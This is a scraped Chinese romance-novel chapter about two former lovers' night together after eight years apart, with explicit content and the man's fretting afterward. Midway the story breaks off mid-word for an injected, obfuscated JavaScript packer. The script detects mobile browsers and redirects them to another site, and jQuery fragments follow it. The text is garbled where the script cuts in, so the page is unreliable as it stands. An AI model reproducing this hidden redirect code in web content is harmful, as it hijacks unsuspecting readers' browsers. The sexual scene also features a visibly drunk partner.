“礼物”两个字，像匕首，精准地扎进了陈叙白心口，一瞬就把他拉回了那年夏天。
蝉鸣刺耳。宁知一收到录取通知书的那天下午，阳光穿过窗帘缝隙，在地板上投下细碎的光斑。她坐在他的床边，指尖捏着他T恤下摆的一角，眼睛很亮，懵懂又直白：
“阿叙，我想拆礼物。”
当年的陈叙白僵在原地，喉结滚动，耳尖红得几乎滴血。她不懂宁知一为什么要说是拆礼物，但宁知一的眼神让他明白她想要的是什么。
所有的克制，所有的犹豫，所有害怕重蹈覆辙的恐惧——在这一刻，土崩瓦解。
他猛地转身，几步跨回床边，在宁知一有些困惑的目光中，俯身，低头，吻住了她。
不是温柔的。是带着气的。
她说喜欢他，然后甩了他。八年间他发了那么多消息，一条回复都没有。现在她一见面就说要“拆礼物”——把他当什么？一个召之即来挥之即去的玩具？
他吻得用力，甚至有点凶，像是在质问：你到底把我当什么？
宁知一微微睁大了眼，但酒精让她的反应慢了半拍。唇上传来温热而熟悉的触感，她含糊地“唔”了一声，手臂不自觉地环上他的脖颈，生涩地开始回应。
这个回应让陈叙白顿了一下。
他停下来，双手微微颤抖地捧住她的脸，强迫她与自己对视。眼底翻涌着浓烈得化不开的情绪，声音嘶哑得不成样子：
“宁知一，你到底……”
话没说完。
因为他看到她眼睛里的水光，不是泪，是醉意带来的迷蒙，干净、困惑、毫无防备。
她在看他。像八年前一样。
所有准备好的质问，都堵在了喉咙里。
宁知一的眼神因为亲吻和酒意而更加迷离，水光潋滟。
陈叙白看着她问：“宁知一，你知道……我是谁吗？”
宁知一眨了眨眼，有些困惑。
只有麻醉医生才会在术前反复确认患者信息——“你叫什么名字？”“你知道你在进行什么手术吗？”
陈叙白现在这个语气，像极了麻醉医生。
“你现在当麻醉医生了？”
陈叙白没理她：“我的名字叫什么？”
宁知一眨了眨眼，清晰地吐出那个名字：“陈叙白……阿叙。”
最后一道防线，彻底溃散。
陈叙白再也控制不住，低吼一声，“知知”重新低头，颤抖着吻住了宁知一。
这个吻比刚才更深入、更急切，带着不容抗拒的力道。
“知知……”陈叙白在宁知一的唇齿间一遍遍地唤着这个只属于他的昵称。
衣衫不知何时被褪去。宁知一的手顺着他的脊背下滑，划过紧绷的腰线，然后——没有迟疑，没有试探，像做实验一样目标准备地握住了他。
陈叙白整个人猛地一僵。
他甚至来不及反应。积蓄了八年的渴望，紧绷到极致的神经，在她掌心柔软的触感包裹上来的刹那，轰然炸开。
那股灭顶的快感冲垮了一切。
时间仿佛静止了。
陈叙白僵在那里，像一尊骤然冷却的雕塑。他低着头，头发垂下来遮住半张脸，不可置信的看着宁知一的手，耳朵红得像要滴血。
陈叙白不敢抬头，他不知道会在宁知一的脸上看到什么表情。
房间里安静了一瞬。然后宁知一的声音响起来，带着真诚的困惑：“阿叙，你怎么不行了？”
陈叙白感觉自己整个人从里到外都烧起来了。
他看着宁知一那认真发问的模样，想说点什么——解释、反驳、随便什么，把这局面圆回来。但喉咙像被堵住了一样，一个字都发不出来。
此刻的陈叙白哪里还有半点舞台上光芒万丈的模样，只恨不得立刻找条地缝钻进去。
偏偏宁知一还在看他。微微歪着头，脸上是满满的困惑，眼神更是在认真的思索。
不是嘲讽。不是调侃。她是真的在问。
这个认知让陈叙白更加崩溃。
然后，宁知一感觉到了。被她握在手里的、刚刚偃旗息鼓的那处，以惊人的速度重新苏醒。她微微睁大眼看着，像是发现了一个值得研究的现象，用那种让人想死的、真诚的学术口吻，再次发问：
“陈叙白，你的……不应期，怎么比以前还短了？”
陈叙白的理智，在这一刻，彻底断了。
他猛地抬头，眼眶都红了——不是哭，是羞愤到极致的红。他盯着宁知一那张无辜的脸，咬着牙，每一个字都像是从牙缝里挤出来的：
“宁知一，你最好……别再说话了。”
话音未落，他低头狠狠吻住了她。
这个吻不再是温柔，不再是试探，甚至不再是刚才那种委屈的控诉。是惩罚。是恼羞成怒。是你再说一句试试的威胁。
他要用行动让她闭嘴。也要用行动证明——他不是不行。
宁知一被他吻得喘不上气，含糊地“唔”了一声，后面所有可能更危险的话语，全都被陈叙白吞进了嘴里。
这一次，不再有慌乱，不再有着急。陈叙白想要极力改变刚才的失误带给宁知一的坏印象，他要证明，也要索取。
宁知一在他身下融化，颤抖。
所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522180|203345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有的思念、遗憾、等待、渴望，都在这一刻找到了宣泄的出口。
当风暴终于平息，房间里只剩下彼此交错的喘息声。
陈叙白把脸埋在宁知一的颈窝里，不想抬头。
他耳朵还是红的。
宁知一的酒意、疲惫彻底涌了上来，眼皮重得睁不开。
她没有立刻睡去。而是在陈叙白怀里又蹭了蹭，找到一个最舒服的位置，把脸埋进他的颈窝。呼吸慢慢变得均匀，身体从紧绷到松弛。
过了几秒，又过了几秒。
她的手还搭在他腰上，没有松开。
“阿叙……”宁知一含糊地咕哝了一句，声音越来越轻，越来越远，最后一个字还没说完，呼吸就变得绵长。
睡着了。
陈叙白没动，他此刻毫无睡意。
宁知一长长的睫毛在眼下投出小片阴影，脸颊还带着未褪的红晕，嘴唇微微有些红肿，睡得毫无防备。
陈叙白没动。他此刻毫无睡意。
他靠在床头，维持着拥抱的姿势，一动不动。低头看着怀里睡得毫无防备的人，脑子里已经开始转了——
明天早上宁知一醒了，他该说什么？
“早”？太装了。
“睡得好吗”？像酒店前台。
“昨晚……”？打住，不能提昨晚。
他皱着眉，在脑子里过了一遍又一遍。语气要自然，不能让宁知一觉得自己在紧张——虽然他确实紧张。表情要放松，……
对了，早餐。他记得高中的时候宁知一喜欢吃学校门口那家早餐店的虾饺。这么多年过去了，口味变没变？
陈叙白腾出一只手，摸过床头的手机，屏幕亮起，刺得他眯了眯眼。打开外卖软件，搜索附近的早餐店。虾饺、肠粉、皮蛋瘦肉粥……先备着，等她醒了再点。
万一，宁知一不习惯在房间里吃早餐呢？那他就带她出去吃。他知道这附近有一家港式茶餐厅，评价不错。
不对，万一她不想和他一起吃早餐呢？
陈叙白的手指顿在屏幕上，心里那点刚刚升起的雀跃又沉了下去。
如果宁知一直接说“我先走了”，他该怎么回？
“好，路上小心。”太冷淡了。
“我送你。”她会不会觉得他太黏人？
那就……“再联系”。对，就说再联系。不卑不亢，留有余地。
陈叙白在心里默念了两遍，觉得这个版本还行。
……
好烦。
陈叙白闭了闭眼，把脸埋进宁知一的发顶。
先抱着。
明天的事，明天再说。